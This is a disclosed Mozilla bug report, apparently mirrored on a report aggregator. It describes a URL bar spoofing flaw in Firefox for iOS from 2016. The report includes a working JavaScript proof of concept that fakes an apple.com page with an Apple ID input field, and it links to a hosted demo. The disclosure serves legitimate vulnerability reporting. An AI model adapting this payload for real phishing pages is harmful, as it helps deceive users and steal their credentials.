Skip to content
Mobile Disclosed report

Firefox for iOS URL Bar Spoofing Vulnerability

Yuyang Zhou Follow

Originally disclosed on Mozilla

  • Fixed in 15 days
  • Paid in 6 days
  • Disclosed after 15 days
Text
Created attachment 8740478
image.png

User Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E234 Safari/601.1

Steps to reproduce:

The latest version of Firefox for iOS has a serious URL spoofing vulnerability. When we use window.location.assign("");to redirect to an website URL with a non-existed web port, for instance, window.location.assign("http://www.apple.com:1121"); , we can control and spoof the URL bar, and the HTML document's title and content. So the JavaScript code will be:

<script>
function spoof()

{

document.write("<title>www.apple.com</title>");
  
    a= '<h1>Fake Content!!</h1><p>Please input your Apple ID here:<input></p>'

document.write(a);
window.location.assign("http://www.apple.com:1121");

   	setTimeout(function(){
		spoof();  // Loop makes the browser always shows the fake page.
	}, 2000);

}



setInterval(spoof(),2000);
</script>


POC, to reproduce the problem please visit the link below:
http://www.src.pw/url20160421.html


Actual results:

Attackers would have the ability to control the URL shown by the browser, for example, be used to easily convince users that they are on a bank’s website when they are actually on a phishing page designed to steal their financial information. For example, steal users' Apple ID:


Expected results:

Never change the URL bar until the full website is loaded.

The original report as published on Mozilla's Bugzilla, by Yuyang Zhou. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A high-severity mobile bug in Browser. Mozilla made it public on 27 April 2016.

About Mobile

Flaws specific to Android and iOS apps: exported components, deep links, WebViews and data left on the device.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Mobile?

Flaws specific to Android and iOS apps: exported components, deep links, WebViews and data left on the device.

More by Yuyang Zhou

View all

1 more disclosed report, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Mobile app vulnerabilities

The lesson behind this report.

Flaws specific to Android and iOS apps: exported components, deep links, WebViews and data left on the device.